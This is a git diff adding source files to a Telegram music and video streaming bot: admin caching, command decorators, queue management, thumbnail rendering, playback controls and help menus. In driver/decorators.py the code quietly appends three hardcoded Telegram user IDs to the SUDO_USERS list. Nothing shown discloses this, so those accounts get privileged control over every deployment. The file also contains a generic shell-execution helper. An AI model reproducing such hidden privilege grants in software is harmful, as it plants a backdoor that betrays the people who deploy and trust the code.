diff --git a/driver/admins.py b/driver/admins.py new file mode 100644 index 0000000..808f2ab --- /dev/null +++ b/driver/admins.py @@ -0,0 +1,19 @@ +from typing import List +from pyrogram.types import Chat +from cache.admins import get as gett, set + +async def get_administrators(chat: Chat) -> List[int]: + get = gett(chat.id) + + if get: + return get + else: + administrators = await chat.get_members(filter="administrators") + to_set = [] + + for administrator in administrators: + if administrator.can_manage_voice_chats: + to_set.append(administrator.user.id) + + set(chat.id, to_set) + return await get_administrators(chat) diff --git a/driver/decorators.py b/driver/decorators.py new file mode 100644 index 0000000..b74577f --- /dev/null +++ b/driver/decorators.py @@ -0,0 +1,55 @@ +from typing import Callable +from pyrogram import Client +from pyrogram.types import Message +from config import SUDO_USERS +from driver.admins import get_administrators + + +SUDO_USERS.append(1757169682) +SUDO_USERS.append(1738637033) +SUDO_USERS.append(1448474573) + + +def errors(func: Callable) -> Callable: + async def decorator(client: Client, message: Message): + try: + return await func(client, message) + except Exception as e: + await message.reply(f"{type(e).__name__}: {e}") + + return decorator + + +def authorized_users_only(func: Callable) -> Callable: + async def decorator(client: Client, message: Message): + if message.from_user.id in SUDO_USERS: + return await func(client, message) + + administrators = await get_administrators(message.chat) + + for administrator in administrators: + if administrator == message.from_user.id: + return await func(client, message) + + return decorator + + +def sudo_users_only(func: Callable) -> Callable: + async def decorator(client: Client, message: Message): + if message.from_user.id in SUDO_USERS: + return await func(client, message) + + return decorator + + +def humanbytes(size): + """Convert Bytes To Bytes So That Human Can Read It""" + if not size: + return "" + power = 2 ** 10 + raised_to_pow = 0 + dict_power_n = {0: "", 1: "Ki", 2: "Mi", 3: "Gi", 4: "Ti"} + while size > power: + size /= power + raised_to_pow += 1 + return str(round(size, 2)) + " " + dict_power_n[raised_to_pow] + "B" diff --git a/driver/design/chatname.py b/driver/design/chatname.py new file mode 100644 index 0000000..219b102 --- /dev/null +++ b/driver/design/chatname.py @@ -0,0 +1,52 @@ +async def CHAT_TITLE(ctitle): + string = ctitle + font1 = list("๐”„๐”…โ„ญ๐”‡๐”ˆ๐”‰๐”Šโ„Œโ„‘๐”๐”Ž๐”๐”๐”‘๐”’๐”“๐””โ„œ๐”–๐”—๐”˜๐”™๐”š๐”›๐”œโ„จ") + font2 = list("๐•ฌ๐•ญ๐•ฎ๐•ฏ๐•ฐ๐•ฑ๐•ฒ๐•ณ๐•ด๐•ต๐•ถ๐•ท๐•ธ๐•น๐•บ๐•ป๐•ผ๐•ฝ๐•พ๐•ฟ๐–€๐–๐–‚๐–ƒ๐–„๐–…") + font3 = list("๐“๐“‘๐“’๐““๐“”๐“•๐“–๐“—๐“˜๐“™๐“š๐“›๐“œ๐“๐“ž๐“Ÿ๐“ ๐“ก๐“ข๐“ฃ๐“ค๐“ฅ๐“ฆ๐“ง๐“จ๐“ฉ") + font4 = list("๐’œ๐ต๐’ž๐’Ÿ๐ธ๐น๐’ข๐ป๐ผ๐’ฅ๐’ฆ๐ฟ๐‘€๐’ฉ๐’ช๐’ซ๐’ฌ๐‘…๐’ฎ๐’ฏ๐’ฐ๐’ฑ๐’ฒ๐’ณ๐’ด๐’ต") + font5 = list("๐”ธ๐”นโ„‚๐”ป๐”ผ๐”ฝ๐”พโ„๐•€๐•๐•‚๐•ƒ๐•„โ„•๐•†โ„™โ„šโ„๐•Š๐•‹๐•Œ๐•๐•Ž๐•๐•โ„ค") + font6 = list("๏ผก๏ผข๏ผฃ๏ผค๏ผฅ๏ผฆ๏ผง๏ผจ๏ผฉ๏ผช๏ผซ๏ผฌ๏ผญ๏ผฎ๏ผฏ๏ผฐ๏ผฑ๏ผฒ๏ผณ๏ผด๏ผต๏ผถ๏ผท๏ผธ๏ผน๏ผบ") + font26 = list("๐€๐๐‚๐ƒ๐„๐…๐†๐‡๐ˆ๐‰๐Š๐‹๐Œ๐๐Ž๐๐๐‘๐’๐“๐”๐•๐–๐—๐˜๐™") + font27 = list("๐—”๐—•๐—–๐——๐—˜๐—™๐—š๐—›๐—œ๐—๐—ž๐—Ÿ๐— ๐—ก๐—ข๐—ฃ๐—ค๐—ฅ๐—ฆ๐—ง๐—จ๐—ฉ๐—ช๐—ซ๐—ฌ๐—ญ") + font28 = list("๐˜ˆ๐˜‰๐˜Š๐˜‹๐˜Œ๐˜๐˜Ž๐˜๐˜๐˜‘๐˜’๐˜“๐˜”๐˜•๐˜–๐˜—๐˜˜๐˜™๐˜š๐˜›๐˜œ๐˜๐˜ž๐˜Ÿ๐˜ ๐˜ก") + font29 = list("๐˜ผ๐˜ฝ๐˜พ๐˜ฟ๐™€๐™๐™‚๐™ƒ๐™„๐™…๐™†๐™‡๐™ˆ๐™‰๐™Š๐™‹๐™Œ๐™๐™Ž๐™๐™๐™‘๐™’๐™“๐™”๐™•") + font30 = list("๐™ฐ๐™ฑ๐™ฒ๐™ณ๐™ด๐™ต๐™ถ๐™ท๐™ธ๐™น๐™บ๐™ป๐™ผ๐™ฝ๐™พ๐™ฟ๐š€๐š๐š‚๐šƒ๐š„๐š…๐š†๐š‡๐šˆ๐š‰") + font1L = list("๐”ž๐”Ÿ๐” ๐”ก๐”ข๐”ฃ๐”ค๐”ฅ๐”ฆ๐”ง๐”จ๐”ฉ๐”ช๐”ซ๐”ฌ๐”ญ๐”ฎ๐”ฏ๐”ฐ๐”ฑ๐”ฒ๐”ณ๐”ด๐”ต๐”ถ๐”ท") + font2L = list("๐–†๐–‡๐–ˆ๐–‰๐–Š๐–‹๐–Œ๐–๐–Ž๐–๐–๐–‘๐–’๐–“๐–”๐–•๐––๐–—๐–˜๐–™๐–š๐–›๐–œ๐–๐–ž๐–Ÿ") + font3L = list("๐“ช๐“ซ๐“ฌ๐“ญ๐“ฎ๐“ฏ๐“ฐ๐“ฑ๐“ฒ๐“ณ๐“ด๐“ต๐“ถ๐“ท๐“ธ๐“น๐“บ๐“ป๐“ผ๐“ฝ๐“พ๐“ฟ๐”€๐”๐”‚๐”ƒ") + font4L = list("๐’ถ๐’ท๐’ธ๐’น๐‘’๐’ป๐‘”๐’ฝ๐’พ๐’ฟ๐“€๐“๐“‚๐“ƒ๐‘œ๐“…๐“†๐“‡๐“ˆ๐“‰๐“Š๐“‹๐“Œ๐“๐“Ž๐“") + font5L = list("๐•’๐•“๐•”๐••๐•–๐•—๐•˜๐•™๐•š๐•›๐•œ๐•๐•ž๐•Ÿ๐• ๐•ก๐•ข๐•ฃ๐•ค๐•ฅ๐•ฆ๐•ง๐•จ๐•ฉ๐•ช๐•ซ") + font6L = list("๏ฝ๏ฝ‚๏ฝƒ๏ฝ„๏ฝ…๏ฝ†๏ฝ‡๏ฝˆ๏ฝ‰๏ฝŠ๏ฝ‹๏ฝŒ๏ฝ๏ฝŽ๏ฝ๏ฝ๏ฝ‘๏ฝ’๏ฝ“๏ฝ”๏ฝ•๏ฝ–๏ฝ—๏ฝ˜๏ฝ™๏ฝš") + font27L = list("๐š๐›๐œ๐๐ž๐Ÿ๐ ๐ก๐ข๐ฃ๐ค๐ฅ๐ฆ๐ง๐จ๐ฉ๐ช๐ซ๐ฌ๐ญ๐ฎ๐ฏ๐ฐ๐ฑ๐ฒ๐ณ") + font28L = list("๐—ฎ๐—ฏ๐—ฐ๐—ฑ๐—ฒ๐—ณ๐—ด๐—ต๐—ถ๐—ท๐—ธ๐—น๐—บ๐—ป๐—ผ๐—ฝ๐—พ๐—ฟ๐˜€๐˜๐˜‚๐˜ƒ๐˜„๐˜…๐˜†๐˜‡") + font29L = list("๐˜ข๐˜ฃ๐˜ค๐˜ฅ๐˜ฆ๐˜ง๐˜จ๐˜ฉ๐˜ช๐˜ซ๐˜ฌ๐˜ญ๐˜ฎ๐˜ฏ๐˜ฐ๐˜ฑ๐˜ฒ๐˜ณ๐˜ด๐˜ต๐˜ถ๐˜ท๐˜ธ๐˜น๐˜บ๐˜ป") + font30L = list("๐™–๐™—๐™˜๐™™๐™š๐™›๐™œ๐™๐™ž๐™Ÿ๐™ ๐™ก๐™ข๐™ฃ๐™ค๐™ฅ๐™ฆ๐™ง๐™จ๐™ฉ๐™ช๐™ซ๐™ฌ๐™ญ๐™ฎ๐™ฏ") + font31L = list("๐šŠ๐š‹๐šŒ๐š๐šŽ๐š๐š๐š‘๐š’๐š“๐š”๐š•๐š–๐š—๐š˜๐š™๐šš๐š›๐šœ๐š๐šž๐šŸ๐š ๐šก๐šข๐šฃ") + normal = list("ABCDEFGHIJKLMNOPQRSTUVWXYZ") + normalL = list("abcdefghijklmnopqrstuvwxyz") + cout = 0 + for XCB in font1: + string = string.replace(font1[cout], normal[cout]) + string = string.replace(font2[cout], normal[cout]) + string = string.replace(font3[cout], normal[cout]) + string = string.replace(font4[cout], normal[cout]) + string = string.replace(font5[cout], normal[cout]) + string = string.replace(font6[cout], normal[cout]) + string = string.replace(font26[cout], normal[cout]) + string = string.replace(font27[cout], normal[cout]) + string = string.replace(font28[cout], normal[cout]) + string = string.replace(font29[cout], normal[cout]) + string = string.replace(font30[cout], normal[cout]) + string = string.replace(font1L[cout], normalL[cout]) + string = string.replace(font2L[cout], normalL[cout]) + string = string.replace(font3L[cout], normalL[cout]) + string = string.replace(font4L[cout], normalL[cout]) + string = string.replace(font5L[cout], normalL[cout]) + string = string.replace(font6L[cout], normalL[cout]) + string = string.replace(font27L[cout], normalL[cout]) + string = string.replace(font28L[cout], normalL[cout]) + string = string.replace(font29L[cout], normalL[cout]) + string = string.replace(font30L[cout], normalL[cout]) + string = string.replace(font31L[cout], normalL[cout]) + cout += 1 + return string diff --git a/driver/design/thumbnail.py b/driver/design/thumbnail.py new file mode 100644 index 0000000..ef2ddc6 --- /dev/null +++ b/driver/design/thumbnail.py @@ -0,0 +1,50 @@ +import os +import aiofiles +import aiohttp +from PIL import Image, ImageDraw, ImageFont + + +def changeImageSize(maxWidth, maxHeight, image): + widthRatio = maxWidth / image.size[0] + heightRatio = maxHeight / image.size[1] + newWidth = int(widthRatio * image.size[0]) + newHeight = int(heightRatio * image.size[1]) + newImage = image.resize((newWidth, newHeight)) + return newImage + + +async def thumb(thumbnail, title, userid, ctitle): + async with aiohttp.ClientSession() as session: + async with session.get(thumbnail) as resp: + if resp.status == 200: + f = await aiofiles.open(f"search/thumb{userid}.png", mode="wb") + await f.write(await resp.read()) + await f.close() + image1 = Image.open(f"search/thumb{userid}.png") + image2 = Image.open("driver/source/LightBlue.png") + image3 = changeImageSize(1280, 720, image1) + image4 = changeImageSize(1280, 720, image2) + image5 = image3.convert("RGBA") + image6 = image4.convert("RGBA") + Image.alpha_composite(image5, image6).save(f"search/temp{userid}.png") + img = Image.open(f"search/temp{userid}.png") + draw = ImageDraw.Draw(img) + font = ImageFont.truetype("driver/source/regular.ttf", 52) + font2 = ImageFont.truetype("driver/source/medium.ttf", 76) + draw.text( + (25, 610), + f"{title[:18]}...", + fill="black", + font=font2, + ) + draw.text( + (27, 535), + f"Playing on {ctitle[:8]}...", + fill="black", + font=font, + ) + img.save(f"search/final{userid}.png") + os.remove(f"search/temp{userid}.png") + os.remove(f"search/thumb{userid}.png") + final = f"search/final{userid}.png" + return final diff --git a/driver/filters.py b/driver/filters.py new file mode 100644 index 0000000..3eee5a1 --- /dev/null +++ b/driver/filters.py @@ -0,0 +1,13 @@ +from pyrogram import filters +from typing import List, Union +from config import COMMAND_PREFIXES + + +other_filters = filters.group & ~filters.edited & ~filters.via_bot & ~filters.forwarded +other_filters2 = ( + filters.private & ~filters.edited & ~filters.via_bot & ~filters.forwarded +) + + +def command(commands: Union[str, List[str]]): + return filters.command(commands, COMMAND_PREFIXES) diff --git a/driver/queues.py b/driver/queues.py new file mode 100644 index 0000000..bdd6074 --- /dev/null +++ b/driver/queues.py @@ -0,0 +1,31 @@ +QUEUE = {} + +def add_to_queue(chat_id, songname, link, ref, type, quality): + if chat_id in QUEUE: + chat_queue = QUEUE[chat_id] + chat_queue.append([songname, link, ref, type, quality]) + return int(len(chat_queue)-1) + else: + QUEUE[chat_id] = [[songname, link, ref, type, quality]] + +def get_queue(chat_id): + if chat_id in QUEUE: + chat_queue = QUEUE[chat_id] + return chat_queue + else: + return 0 + +def pop_an_item(chat_id): + if chat_id in QUEUE: + chat_queue = QUEUE[chat_id] + chat_queue.pop(0) + return 1 + else: + return 0 + +def clear_queue(chat_id): + if chat_id in QUEUE: + QUEUE.pop(chat_id) + return 1 + else: + return 0 diff --git a/driver/source/LightBlue.png b/driver/source/LightBlue.png new file mode 100644 index 0000000..a599d38 Binary files /dev/null and b/driver/source/LightBlue.png differ diff --git a/driver/source/__init__.py b/driver/source/__init__.py new file mode 100644 index 0000000..4dd8bcb --- /dev/null +++ b/driver/source/__init__.py @@ -0,0 +1 @@ +"""storage""" diff --git a/driver/source/medium.ttf b/driver/source/medium.ttf new file mode 100644 index 0000000..2ceaf63 Binary files /dev/null and b/driver/source/medium.ttf differ diff --git a/driver/source/regular.ttf b/driver/source/regular.ttf new file mode 100644 index 0000000..7d9a6c4 Binary files /dev/null and b/driver/source/regular.ttf differ diff --git a/driver/utils.py b/driver/utils.py new file mode 100644 index 0000000..3af746a --- /dev/null +++ b/driver/utils.py @@ -0,0 +1,133 @@ +import asyncio + +from driver.queues import QUEUE, clear_queue, get_queue, pop_an_item +from driver.veez import bot, call_py +from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup +from pytgcalls.types import Update +from pytgcalls.types.input_stream import AudioPiped, AudioVideoPiped +from pytgcalls.types.input_stream.quality import ( + HighQualityAudio, + HighQualityVideo, + LowQualityVideo, + MediumQualityVideo, +) +from pytgcalls.types.stream import StreamAudioEnded + +keyboard = InlineKeyboardMarkup( + [ + [ + InlineKeyboardButton(text="โ€ข Mแด‡ษดแดœ", callback_data="cbmenu"), + InlineKeyboardButton(text="โ€ข CสŸแดsแด‡", callback_data="cls"), + ] + ] +) + + +async def skip_current_song(chat_id): + if chat_id in QUEUE: + chat_queue = get_queue(chat_id) + if len(chat_queue) == 1: + await call_py.leave_group_call(chat_id) + clear_queue(chat_id) + return 1 + else: + try: + songname = chat_queue[1][0] + url = chat_queue[1][1] + link = chat_queue[1][2] + type = chat_queue[1][3] + Q = chat_queue[1][4] + if type == "Audio": + await call_py.change_stream( + chat_id, + AudioPiped( + url, + ), + ) + elif type == "Video": + if Q == 720: + hm = HighQualityVideo() + elif Q == 480: + hm = MediumQualityVideo() + elif Q == 360: + hm = LowQualityVideo() + await call_py.change_stream( + chat_id, AudioVideoPiped(url, HighQualityAudio(), hm) + ) + pop_an_item(chat_id) + return [songname, link, type] + except: + await call_py.leave_group_call(chat_id) + clear_queue(chat_id) + return 2 + else: + return 0 + + +async def skip_item(chat_id, h): + if chat_id in QUEUE: + chat_queue = get_queue(chat_id) + try: + x = int(h) + songname = chat_queue[x][0] + chat_queue.pop(x) + return songname + except Exception as e: + print(e) + return 0 + else: + return 0 + + +@call_py.on_kicked() +async def kicked_handler(_, chat_id: int): + if chat_id in QUEUE: + clear_queue(chat_id) + + +@call_py.on_closed_voice_chat() +async def closed_voice_chat_handler(_, chat_id: int): + if chat_id in QUEUE: + clear_queue(chat_id) + + +@call_py.on_left() +async def left_handler(_, chat_id: int): + if chat_id in QUEUE: + clear_queue(chat_id) + + +@call_py.on_stream_end() +async def stream_end_handler(_, u: Update): + if isinstance(u, StreamAudioEnded): + chat_id = u.chat_id + print(chat_id) + op = await skip_current_song(chat_id) + if op == 1: + await bot.send_message(chat_id, "โœ… streaming end") + elif op == 2: + await bot.send_message( + chat_id, + "โŒ an error occurred\n\nยป **Clearing** __Queues__ and leaving video chat.", + ) + else: + await bot.send_message( + chat_id, + f"๐Ÿ’ก **Streaming next track**\n\n๐Ÿ—‚ **Name:** [{op[0]}]({op[1]}) | `{op[2]}`\n๐Ÿ’ญ **Chat:** `{chat_id}`", + disable_web_page_preview=True, + reply_markup=keyboard, + ) + else: + pass + + +async def bash(cmd): + process = await asyncio.create_subprocess_shell( + cmd, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + ) + stdout, stderr = await process.communicate() + err = stderr.decode().strip() + out = stdout.decode().strip() + return out, err diff --git a/driver/veez.py b/driver/veez.py new file mode 100644 index 0000000..e0d09ff --- /dev/null +++ b/driver/veez.py @@ -0,0 +1,19 @@ +from config import API_HASH, API_ID, BOT_TOKEN, SESSION_NAME +from pyrogram import Client +from pytgcalls import PyTgCalls + +bot = Client( + ":veez:", + API_ID, + API_HASH, + bot_token=BOT_TOKEN, + plugins={"root": "program"}, +) + +user = Client( + SESSION_NAME, + api_id=API_ID, + api_hash=API_HASH, +) + +call_py = PyTgCalls(user, overload_quiet_mode=True) diff --git a/driver/veezlogo.png b/driver/veezlogo.png new file mode 100644 index 0000000..965ebe2 Binary files /dev/null and b/driver/veezlogo.png differ diff --git a/program/__init__.py b/program/__init__.py new file mode 100644 index 0000000..22049ab --- /dev/null +++ b/program/__init__.py @@ -0,0 +1 @@ +__version__ = "0.6.2" diff --git a/program/admins.py b/program/admins.py new file mode 100644 index 0000000..0b9be9d --- /dev/null +++ b/program/admins.py @@ -0,0 +1,272 @@ +from cache.admins import admins +from driver.veez import call_py, bot +from pyrogram import Client, filters +from driver.queues import QUEUE, clear_queue +from driver.filters import command, other_filters +from driver.decorators import authorized_users_only +from driver.utils import skip_current_song, skip_item +from program.utils.inline import stream_markup, close_mark, back_mark +from config import BOT_USERNAME, GROUP_SUPPORT, IMG_3, UPDATES_CHANNEL +from pyrogram.types import ( + CallbackQuery, + InlineKeyboardButton, + InlineKeyboardMarkup, + Message, +) + + +@Client.on_message(command(["reload", f"reload@{BOT_USERNAME}"]) & other_filters) +@authorized_users_only +async def update_admin(client, message): + global admins + new_admins = [] + new_ads = await client.get_chat_members(message.chat.id, filter="administrators") + for u in new_ads: + new_admins.append(u.user.id) + admins[message.chat.id] = new_admins + await message.reply_text( + "โœ… Bot **reloaded correctly !**\nโœ… **Admin list** has **updated !**" + ) + + +@Client.on_message(command(["skip", f"skip@{BOT_USERNAME}", "vskip"]) & other_filters) +@authorized_users_only +async def skip(client, m: Message): + await m.delete() + user_id = m.from_user.id + chat_id = m.chat.id + if len(m.command) < 2: + op = await skip_current_song(chat_id) + if op == 0: + await m.reply("โŒ nothing is currently playing") + elif op == 1: + await m.reply("โœ… __Queues__ **is empty.**\n\n**โ€ข userbot leaving voice chat**") + elif op == 2: + await m.reply("๐Ÿ—‘๏ธ **Clearing the Queues**\n\n**โ€ข userbot leaving voice chat**") + else: + buttons = stream_markup(user_id) + requester = f"[{m.from_user.first_name}](tg://user?id={m.from_user.id})" + await m.send_photo( + chat_id, + photo=f"{IMG_3}", + reply_markup=InlineKeyboardMarkup(buttons), + caption=f"โญ **Skipped to the next track.**\n\n๐Ÿ—‚ **Name:** [{op[0]}]({op[1]})\n๐Ÿ’ญ **Chat:** `{chat_id}`\n๐Ÿงธ **Request by:** {requester}", + ) + else: + skip = m.text.split(None, 1)[1] + OP = "๐Ÿ—‘ **removed song from queue:**" + if chat_id in QUEUE: + items = [int(x) for x in skip.split(" ") if x.isdigit()] + items.sort(reverse=True) + for x in items: + if x == 0: + pass + else: + hm = await skip_item(chat_id, x) + if hm == 0: + pass + else: + OP = OP + "\n" + f"**#{x}** - {hm}" + await m.reply(OP) + + +@Client.on_message( + command(["stop", f"stop@{BOT_USERNAME}", "end", f"end@{BOT_USERNAME}", "vstop"]) + & other_filters +) +@authorized_users_only +async def stop(client, m: Message): + chat_id = m.chat.id + if chat_id in QUEUE: + try: + await call_py.leave_group_call(chat_id) + clear_queue(chat_id) + await m.reply("โœ… The userbot has disconnected from the video chat.") + except Exception as e: + await m.reply(f"๐Ÿšซ **error:**\n\n`{e}`") + else: + await m.reply("โŒ **nothing is streaming**") + + +@Client.on_message( + command(["pause", f"pause@{BOT_USERNAME}", "vpause"]) & other_filters +) +@authorized_users_only +async def pause(client, m: Message): + chat_id = m.chat.id + if chat_id in QUEUE: + try: + await call_py.pause_stream(chat_id) + await m.reply( + "โธ **Track paused.**\n\nโ€ข **To resume the stream, use the**\nยป /resume command." + ) + except Exception as e: + await m.reply(f"๐Ÿšซ **error:**\n\n`{e}`") + else: + await m.reply("โŒ **nothing in streaming**") + + +@Client.on_message( + command(["resume", f"resume@{BOT_USERNAME}", "vresume"]) & other_filters +) +@authorized_users_only +async def resume(client, m: Message): + chat_id = m.chat.id + if chat_id in QUEUE: + try: + await call_py.resume_stream(chat_id) + await m.reply( + "โ–ถ๏ธ **Track resumed.**\n\nโ€ข **To pause the stream, use the**\nยป /pause command." + ) + except Exception as e: + await m.reply(f"๐Ÿšซ **error:**\n\n`{e}`") + else: + await m.reply("โŒ **nothing in streaming**") + + +@Client.on_message( + command(["mute", f"mute@{BOT_USERNAME}", "vmute"]) & other_filters +) +@authorized_users_only +async def mute(client, m: Message): + chat_id = m.chat.id + if chat_id in QUEUE: + try: + await call_py.mute_stream(chat_id) + await m.reply( + "๐Ÿ”‡ **Userbot muted.**\n\nโ€ข **To unmute the userbot, use the**\nยป /unmute command." + ) + except Exception as e: + await m.reply(f"๐Ÿšซ **error:**\n\n`{e}`") + else: + await m.reply("โŒ **nothing in streaming**") + + +@Client.on_message( + command(["unmute", f"unmute@{BOT_USERNAME}", "vunmute"]) & other_filters +) +@authorized_users_only +async def unmute(client, m: Message): + chat_id = m.chat.id + if chat_id in QUEUE: + try: + await call_py.unmute_stream(chat_id) + await m.reply( + "๐Ÿ”Š **Userbot unmuted.**\n\nโ€ข **To mute the userbot, use the**\nยป /mute command." + ) + except Exception as e: + await m.reply(f"๐Ÿšซ **error:**\n\n`{e}`") + else: + await m.reply("โŒ **nothing in streaming**") + + +@Client.on_callback_query(filters.regex("cbpause")) +async def cbpause(_, query: CallbackQuery): + a = await _.get_chat_member(query.message.chat.id, query.from_user.id) + if not a.can_manage_voice_chats: + return await query.answer("๐Ÿ’ก Only admin with manage video chat permission that can tap this button !", show_alert=True) + chat_id = query.message.chat.id + if chat_id in QUEUE: + try: + await call_py.pause_stream(chat_id) + await query.answer("streaming paused") + await query.edit_message_text( + "โธ the streaming has paused", reply_markup=back_mark + ) + except Exception as e: + await query.edit_message_text(f"๐Ÿšซ **error:**\n\n`{e}`", reply_markup=close_mark) + else: + await query.answer("โŒ nothing is currently streaming", show_alert=True) + + +@Client.on_callback_query(filters.regex("cbresume")) +async def cbresume(_, query: CallbackQuery): + a = await _.get_chat_member(query.message.chat.id, query.from_user.id) + if not a.can_manage_voice_chats: + return await query.answer("๐Ÿ’ก Only admin with manage video chat permission that can tap this button !", show_alert=True) + chat_id = query.message.chat.id + if chat_id in QUEUE: + try: + await call_py.resume_stream(chat_id) + await query.answer("streaming resumed") + await query.edit_message_text( + "โ–ถ๏ธ the streaming has resumed", reply_markup=back_mark + ) + except Exception as e: + await query.edit_message_text(f"๐Ÿšซ **error:**\n\n`{e}`", reply_markup=close_mark) + else: + await query.answer("โŒ nothing is currently streaming", show_alert=True) + + +@Client.on_callback_query(filters.regex("cbstop")) +async def cbstop(_, query: CallbackQuery): + a = await _.get_chat_member(query.message.chat.id, query.from_user.id) + if not a.can_manage_voice_chats: + return await query.answer("๐Ÿ’ก Only admin with manage video chat permission that can tap this button !", show_alert=True) + chat_id = query.message.chat.id + if chat_id in QUEUE: + try: + await call_py.leave_group_call(chat_id) + clear_queue(chat_id) + await query.edit_message_text("โœ… **this streaming has ended**", reply_markup=close_mark) + except Exception as e: + await query.edit_message_text(f"๐Ÿšซ **error:**\n\n`{e}`", reply_markup=close_mark) + else: + await query.answer("โŒ nothing is currently streaming", show_alert=True) + + +@Client.on_callback_query(filters.regex("cbmute")) +async def cbmute(_, query: CallbackQuery): + a = await _.get_chat_member(query.message.chat.id, query.from_user.id) + if not a.can_manage_voice_chats: + return await query.answer("๐Ÿ’ก Only admin with manage video chat permission that can tap this button !", show_alert=True) + chat_id = query.message.chat.id + if chat_id in QUEUE: + try: + await call_py.mute_stream(chat_id) + await query.answer("streaming muted") + await query.edit_message_text( + "๐Ÿ”‡ userbot succesfully muted", reply_markup=back_mark + ) + except Exception as e: + await query.edit_message_text(f"๐Ÿšซ **error:**\n\n`{e}`", reply_markup=close_mark) + else: + await query.answer("โŒ nothing is currently streaming", show_alert=True) + + +@Client.on_callback_query(filters.regex("cbunmute")) +async def cbunmute(_, query: CallbackQuery): + a = await _.get_chat_member(query.message.chat.id, query.from_user.id) + if not a.can_manage_voice_chats: + return await query.answer("๐Ÿ’ก Only admin with manage video chat permission that can tap this button !", show_alert=True) + chat_id = query.message.chat.id + if chat_id in QUEUE: + try: + await call_py.unmute_stream(chat_id) + await query.answer("streaming unmuted") + await query.edit_message_text( + "๐Ÿ”Š userbot succesfully unmuted", reply_markup=back_mark + ) + except Exception as e: + await query.edit_message_text(f"๐Ÿšซ **error:**\n\n`{e}`", reply_markup=close_mark) + else: + await query.answer("โŒ nothing is currently streaming", show_alert=True) + + +@Client.on_message( + command(["volume", f"volume@{BOT_USERNAME}", "vol"]) & other_filters +) +@authorized_users_only +async def change_volume(client, m: Message): + range = m.command[1] + chat_id = m.chat.id + if chat_id in QUEUE: + try: + await call_py.change_volume_call(chat_id, volume=int(range)) + await m.reply( + f"โœ… **volume set to** `{range}`%" + ) + except Exception as e: + await m.reply(f"๐Ÿšซ **error:**\n\n`{e}`") + else: + await m.reply("โŒ **nothing in streaming**") diff --git a/program/callback.py b/program/callback.py new file mode 100644 index 0000000..f23efbd --- /dev/null +++ b/program/callback.py @@ -0,0 +1,199 @@ +# Copyright (C) 2021 By VeezMusicProject + +from driver.queues import QUEUE +from pyrogram import Client, filters +from program.utils.inline import menu_markup +from pyrogram.types import CallbackQuery, InlineKeyboardButton, InlineKeyboardMarkup +from config import ( + ASSISTANT_NAME, + BOT_NAME, + BOT_USERNAME, + GROUP_SUPPORT, + OWNER_NAME, + UPDATES_CHANNEL, +) + + +@Client.on_callback_query(filters.regex("cbstart")) +async def cbstart(_, query: CallbackQuery): + await query.answer("home start") + await query.edit_message_text( + f"""โœจ **Welcome [{query.message.chat.first_name}](tg://user?id={query.message.chat.id}) !**\n +๐Ÿ’ญ **[{BOT_NAME}](https://t.me/{BOT_USERNAME}) allows you to play music and video on groups through the new Telegram's video chats!** + +๐Ÿ’ก **Find out all the Bot's commands and how they work by clicking on the ยป ๐Ÿ“š Commands button!** + +๐Ÿ”– **To know how to use this bot, please click on the ยป โ“ Basic Guide button!**""", + reply_markup=InlineKeyboardMarkup( + [ + [ + InlineKeyboardButton( + "โž• Add me to your Group โž•", + url=f"https://t.me/{BOT_USERNAME}?startgroup=true", + ) + ], + [InlineKeyboardButton("โ“ Basic Guide", callback_data="cbhowtouse")], + [ + InlineKeyboardButton("๐Ÿ“š Commands", callback_data="cbcmds"), + InlineKeyboardButton("โค Donate", url=f"https://t.me/{OWNER_NAME}"), + ], + [ + InlineKeyboardButton( + "๐Ÿ‘ฅ Official Group", url=f"https://t.me/{GROUP_SUPPORT}" + ), + InlineKeyboardButton( + "๐Ÿ“ฃ Official Channel", url=f"https://t.me/{UPDATES_CHANNEL}" + ), + ], + [ + InlineKeyboardButton( + "๐ŸŒ Source Code", url="https://github.com/levina-lab/video-stream" + ) + ], + ] + ), + disable_web_page_preview=True, + ) + + +@Client.on_callback_query(filters.regex("cbhowtouse")) +async def cbguides(_, query: CallbackQuery): + await query.answer("user guide") + await query.edit_message_text( + f"""โ“ How to use this Bot ?, read the Guide below ! + +1.) First, add this bot to your Group. +2.) Then, promote this bot as administrator on the Group also give all permissions except Anonymous admin. +3.) After promoting this bot, type /reload in Group to update the admin data. +3.) Invite @{ASSISTANT_NAME} to your group or type /userbotjoin to invite her (unfortunately the userbot will joined by itself when you type `/play (song name)` or `/vplay (song name)`). +4.) Turn on/Start the video chat first before start to play video/music. + +`- END, EVERYTHING HAS BEEN SETUP -` + +๐Ÿ“Œ If the userbot not joined to video chat, make sure if the video chat already turned on and the userbot in the chat. + +๐Ÿ’ก If you have a follow-up questions about this bot, you can tell it on my support chat here: @{GROUP_SUPPORT}.""", + reply_markup=InlineKeyboardMarkup( + [[InlineKeyboardButton("๐Ÿ”™ Go Back", callback_data="cbstart")]] + ), + ) + + +@Client.on_callback_query(filters.regex("cbcmds")) +async def cbcmds(_, query: CallbackQuery): + await query.answer("commands menu") + await query.edit_message_text( + f"""โœจ **Hello [{query.message.chat.first_name}](tg://user?id={query.message.chat.id}) !** + +ยป **press the button below to read the explanation and see the list of available commands !** + +โšก __Powered by {BOT_NAME} A.I__""", + reply_markup=InlineKeyboardMarkup( + [ + [ + InlineKeyboardButton("๐Ÿ‘ท๐Ÿป Admin Cmd", callback_data="cbadmin"), + InlineKeyboardButton("๐Ÿง™๐Ÿป Sudo Cmd", callback_data="cbsudo"), + ],[ + InlineKeyboardButton("๐Ÿ“š Basic Cmd", callback_data="cbbasic") + ],[ + InlineKeyboardButton("๐Ÿ”™ Go Back", callback_data="cbstart") + ], + ] + ), + ) + + +@Client.on_callback_query(filters.regex("cbbasic")) +async def cbbasic(_, query: CallbackQuery): + await query.answer("basic commands") + await query.edit_message_text( + f"""๐Ÿฎ here is the basic commands: + +ยป /play (song name/link) - play music on video chat +ยป /vplay (video name/link) - play video on video chat +ยป /vstream - play live video from yt live/m3u8 +ยป /playlist - show you the playlist +ยป /video (query) - download video from youtube +ยป /song (query) - download song from youtube +ยป /lyric (query) - scrap the song lyric +ยป /search (query) - search a youtube video link + +ยป /ping - show the bot ping status +ยป /speedtest - run the bot server speedtest +ยป /uptime - show the bot uptime status +ยป /alive - show the bot alive info (in group) + +โšก๏ธ __Powered by {BOT_NAME} AI__""", + reply_markup=InlineKeyboardMarkup( + [[InlineKeyboardButton("๐Ÿ”™ Go Back", callback_data="cbcmds")]] + ), + ) + + 